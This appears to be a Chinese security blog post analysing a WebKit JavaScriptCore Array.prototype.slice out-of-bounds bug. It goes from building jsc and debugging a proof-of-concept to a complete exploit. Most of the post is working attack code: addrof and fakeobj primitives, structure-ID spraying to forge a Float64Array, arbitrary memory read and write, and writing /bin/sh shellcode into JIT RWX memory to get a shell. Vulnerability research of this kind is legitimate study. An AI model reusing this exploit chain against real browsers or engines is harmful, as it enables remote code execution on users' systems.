本文最后更新于:星期二, 六月 4日 2019, 3:08 下午
基本环境搭建
编译JSC
历时差不多两天的失败,网上的编译教程基本都是很久以前的,跟着他们做会报很多错,最后编译成功的jsc也运行不了,一运行就会crash….. 但是,我在github上找到了一个大佬写的教程,是可以成功的,并且他提供了编译好的 jsc以及 对应的动态链接库。
环境: Ubuntu18.10
JSC编译
# sudo apt install libicu-dev python ruby bison flex cmake build-essential ninja-build git gperf
$ git clone git://git.webkit.org/WebKit.git && cd WebKit
$ Tools/gtk/install-dependencies
$ Tools/Scripts/build-webkit --jsc-only --debug
编译好的jsc可执行文件会在 ~/WebKitBuild/Debug/bin中,同时jsc运行所需的动态链接库会在~/WebKitBuild/Debug/lib中,将动态链接库的所在路径添加到/etc/ld.so.conf中,然后运行 sudo ldconfig命令,就可以使用jsc了。
漏洞分析
漏洞出现在ArrayPrototype.cpp文件的arrayProtoFuncSlice函数中
未修补前代码:
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
修补后代码:
bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
RETURN_IF_EXCEPTION(scope, { });
if (LIKELY(okToDoFastPath)) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
可以发现它添加了thisObj长度的检查,检查它的长度是否发生了变化。可以通过回调来修改数组的长度,slice函数的执行将会继续使用之获得的长度,从而导致memcpy时越界访问。
验证POC
poc.js
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
>>> print(b);
0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314
因为数组在切片前已经被清除,所以var b 的正确输出应该是大小为10的数组,其中被填充了”未定义的值”。但实际的输出中 会有一些奇怪的浮点值,这些是存储在数组之外的内容。
调试:
通过dir 命令,添加JSC源码路径
pwndbg> dir /home/zs0zrc/webkit/Source/JavaScriptCore
在arrayProtoFuncSlice 、JSArray::setLength 、ArrayPrototype.cpp:945上 分别下断点
通过jsc运行poc.js ,它会停在arrayProtoFuncSlice函数
打印thisObj信息:(这是poc中的变量var a)
pwndbg> p *thisObj
$1 = {
<JSC::JSCell> = {
<JSC::HeapCell> = {<No data fields>},
members of JSC::JSCell:
static StructureFlags = 0,
static needsDestruction = false,
static TypedArrayStorageType = JSC::NotTypedArray,
m_structureID = 86,
m_indexingTypeAndMisc = 7 '\a',
m_type = JSC::ArrayType,
m_flags = 8 '\b',
m_cellState = JSC::CellState::DefinitelyWhite
},
m_butterfly = {
static kind = Gigacage::JSValue,
m_barrier = {
m_value = {
static kind = Gigacage::JSValue,
m_ptr = 0x7fffaede8588
}
}
}
pwndbg> x/10gx 0x7fffaede8588
0x7fffaede8588: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x7fffaede8598: 0x4000fbe76c8b4396 0x4008fbe76c8b4396
0x7fffaede85a8: 0x40107df3b645a1cb 0x40147df3b645a1cb
0x7fffaede85b8: 0x40187df3b645a1cb 0x401c7df3b645a1cb
0x7fffaede85c8: 0x40203ef9db22d0e5 0x40223ef9db22d0e5
其中m_ptr是数组存放元素的地址,存放着一堆浮点数
slice函数获取数组的length大小为100
JSC通过下面两条代码来获取数组的起止下标,但是在执行argumentClampedIndexFromStartOrEnd函数时会对数组a 执行 setLength函数,将数组收缩。因为valueOf回调将数组a的大小设置为0, 所以触发了数组的收缩。
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
函数调用链:
执行完setLength后, thisObj的m_butterfly的地址改变了
pwndbg> p *thisObj
$33 = {
<JSC::JSCell> = {
<JSC::HeapCell> = {<No data fields>},
members of JSC::JSCell:
static StructureFlags = 0,
static needsDestruction = false,
static TypedArrayStorageType = JSC::NotTypedArray,
m_structureID = 86,
m_indexingTypeAndMisc = 7 '\a',
m_type = JSC::ArrayType,
m_flags = 8 '\b',
m_cellState = JSC::CellState::DefinitelyWhite
},
m_butterfly = {
static kind = Gigacage::JSValue,
m_barrier = {
m_value = {
static kind = Gigacage::JSValue,
m_ptr = 0x7fffaedfe9a8
}
}
}
pwndbg> x/10gx 0x7fffaedfe9a8
0x7fffaedfe9a8: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x7fffaedfe9b8: 0x00000000badbeef0 0x00000000badbeef0
0x7fffaedfe9c8: 0x00000000badbeef0 0x00000000badbeef0
0x7fffaedfe9d8: 0x00000000badbeef0 0x00000000badbeef0
0x7fffaedfe9e8: 0x00000000badbeef0 0x00000000badbeef0
slice函数最后返回的result
pwndbg> p result
$41 = (JSC::JSObject *) 0x7fffaf1f8aa0
pwndbg> x/10gx 0x7fffaf1f8aa0
0x7fffaf1f8aa0: 0x00007ffff6826caf 0x00000000fffffff8
0x7fffaf1f8ab0: 0x00000000fffffff8 0x0000000000000003
0x7fffaf1f8ac0: 0x0000000000000010 0x00007fffefba3630
0x7fffaf1f8ad0: 0x0000000000000000 0x00007fffefbb2fd0
0x7fffaf1f8ae0: 0x00007fffefbba5f0 0x00007ffff6824beb
漏洞利用
构建exploit原语
addrof原语
用来泄露地址信息,基本步骤如下:
- 创建一个双精度的数组
- 使用自定义的valueOf函数设置对象
- 收缩数组
- 分配一个新的数组,其中包含着我们想知道地址的对象,这个数组位于复制空间,有很大的可能放在新的 butterfly后面
返回一个大于数组的值来触发漏洞
function addrof(object) { var a = []; for (var i = 0; i < 100; i++) a.push(i + 0.123) var b = a.slice(0, {valueOf: function() { a.length = 0; b = [object]; return 10; }}); // Find offset 4 at runtime return Int64.fromDouble(b[4]); }
slice()返回的新数组是原生的双精度数组,所以可以用来泄露任意JSValue实例。
fakeobj原语
用于将JSObject指针以双精度的形式注入到 JSValue数组中
- 创建一个双精度的数组
- 使用自定义的valueOf函数设置对象
- 收缩数组
- 分配一个新数组,其中只包含需要的对象,这个对象是我们想要知道地址的对象
返回一个大于数组大小的值来触发漏洞
function fakeobj(addr) { var a = [] for (var i = 0; i < 100; i++) a.push({}) var b = a.slice(0, {valueOf: function() { a.length = 0; b = [addr.asDouble()]; return 10; }}); return b[4]; }
利用思路
- 信息泄漏
- 伪造对象(Fload64Array)
- 任意地址读写
- 读取一个function obj的地址,触发JIT生成RWX的代码
- 利用任意地址读写写入shellcode
- 执行function
具体利用
构造fake Float64Array数组
伪造Float64Array数组最重要的部分是JSCell头中的结构ID,这个id指向Float64Array在结构表中id。但是结构id只有在运行时才会被分配,同时结构id在不同的运行中不一定是静态的。因此不能知道Float64Array实例的结构id,这里通过喷射的方法,来实现FloatArray实例
原理:
通过喷射方法产生几千个结构体来表现FloatArray实例,然后选取一个高的初始id,碰撞出一个正确的id。
for (var i = 0; i < 0x1000; i++) { var a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; }
伪造Float64数组
Float64数组由本地JSArrayBufferView类实现,除了包含标准的JSObject字段外,还包含指向后备存储器的指针(vector),长度(length)和模式字段(mode,32位整数)。
FloatArray对象的大致结构:
这里我们写入的JSValue要满足的条件
必须是有效的JSValue,不能为nullptr指针
不能设置有效的模式字段,要大于0x00010000
长度可以自由的控制
只能将vector指向另一个JSObject,因为这是JSValue唯一可以包含的指针
这里选择将vector指向一个Uinit8Array实例
demo:
sprayFloat64ArrayStructures();//这个是喷射的函数 // 创建要使用的数组 // 读写目标内存地址 var hax = new Uint8Array(0x1000); var jsCellHeader = new Int64([ 0x0, 0x10, 0x0, 0x0, // m_structureID, current guess 0x0, // m_indexingType 0x2c, // m_type, Float64Array 0x08, // m_flags, OverridesGetOwnPropertySlot (see JSTypeInfo.h) 0x1, // m_cellState, NewWhite ]); var container = { jsCellHeader: jsCellHeader.encodeAsJSVal(), butterfly: false, // Some arbitrary value vector: hax, lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue() }; // Create the fake Float64Array. var address = Add(addrof(container), 16); var fakearray = fakeobj(address); // Find the correct structure ID. while (!(fakearray instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.encodeAsJSVal(); } // 完成伪造,伪造的数组现在指向hax数组 print(describe(hax)); print(describe(fakearray)); //打印对象的一些调试信息 //输出结果 //[*] hax @ 0x00007fffad95cae0 //[*] Fake Float64Array @ 0x00007fffaef99eb0 //Object: 0x7fffad95cae0 with butterfly (nil) (0x7fffaef9f2f0:[Uint8Array, {}, //NonArray, Proto:0x7fffaefc4330, Leaf]), ID: 287 //Object: 0x7fffaef99eb0 with butterfly 0x6 (0x7fffad976950:[Float64Array, //{foo3760:100}, NonArray, Proto:0x7fffaefc4340, Leaf]), ID: 4096 //[*] Float64Array structure ID found: 00001000 //伪造的数组 pwndbg> x/10gx 0x7fffaef99eb0 0x7fffaef99eb0: 0x01082c0000001000 0x0000000000000006 0x7fffaef99ec0: 0x00007fffad95cae0 0x0001000000000100 0x7fffaef99ed0: 0x010a1a0000000036 0x0000000000000000 0x7fffaef99ee0: 0x00007fffaede4460 0x00007fffaefa9ea0 0x7fffaef99ef0: 0x0000000000000000 0x00000000badbeef0 //伪造的数组的vector指向了hax数组
通过修改Uint8Array的数据指针实现任意地址读写
构建任意地址读写原语
memory = { read: function(addr, length) { print("[<] Reading " + length + " bytes from " + addr); fakearray[2] = addr.asDouble(); var res = new Array(length); for (var i=0; i < length; i++) res[i] = hax[i]; return res; }, read64: function(addr) { return new Int64(this.read(addr, 8)); }, write: function(addr, data) { print("[>] Writing " + data.length + " bytes to " + addr); fakearray[2] = addr.asDouble(); for (var i=0; i < data.length; i++) hax[i] = data[i]; }, write64: function(value) { return this.write(addr, value.bytes()); } };
修复容器和Float64Array实例 , 避免在垃圾收集时崩溃
这一步的原因是因为伪造的Float64Array实例的
butterfly
在垃圾收集时会被被访问,但我们设置的是一个无效的指针,导致会崩溃。如果设置为nullptr,这会导致令一个崩溃。为指针值也是容器对象的属性,并且它会被当作一个JSObject指针。具体步骤:
- 创建一个空对象。此对象的结构将包含具有默认数量的内联存储(6个插槽)的对象,并且全部不处于使用状态。
- 将JSCell头(包含结构ID)复制到容器对象。
将fake数组的“Butterfly”指针设置为nullptr指针,且使用默认的Float64Array实例来替换该对象的JSCell。
实现:
var empty = {}; var header = memory.read(addrof(empty), 8); memory.write(addrof(container), header); var f64array = new Float64Array(8); header = memory.read(addrof(f64array), 16); var length = memory.read(Add(addrof(f64array), 24), 8); memory.write(addrof(fakearray), header); memory.write(Add(addrof(fakearray), 24), length); print("[+] All done!"); fakearray.container = container;
写入shellcode并执行
javascript引擎使用JIT编译,需要将指令写入存储器的页面中,之后再执行它。JSC引擎会分配可读可写可执行的内存区域用于存储这些指令,所以可以泄露出函数对象的JIT编译代码的内存地址,然后往该地址写入shellcode,最后调用该函数执行shellcode.
var func = makeJITCompiledFunction(); //JSFunction var funcAddr = addrof(func); print("[+] JIT compiled function @ " + funcAddr); //FunctionExecutable var executableAddr = memory.read64(Add(funcAddr, 24)); print("[+] Executable instance @ " + executableAddr); //JITCode // Need to leak twice (value changes) var jitCodeAddr = memory.read64(Add(executableAddr, 24)); print("[+] First try; JITCode instance @ " + jitCodeAddr); // need this print (probably some gc thing) var jitCodeAddr = memory.read64(Add(executableAddr, 24)); print("[+] Second try; JITCode instance @ " + jitCodeAddr); var codeAddr = memory.read64(Add(jitCodeAddr, 32)); print("[+] RWX memory @ " + codeAddr.toString()); var shellcode = [0x48,0x31,0xc0,0x50,0x48,0xbf,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x57,0x48,0x89,0xe7,0x50,0x48,0x89,0xe2,0x57,0x48,0x89,0xe6,0xb0,0x3b,0x0f,0x05] print("[+] Writing shellcode..."); memory.write(codeAddr, shellcode); print("[!] Jumping into shellcode..."); func();
最后成功getshell
reference
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!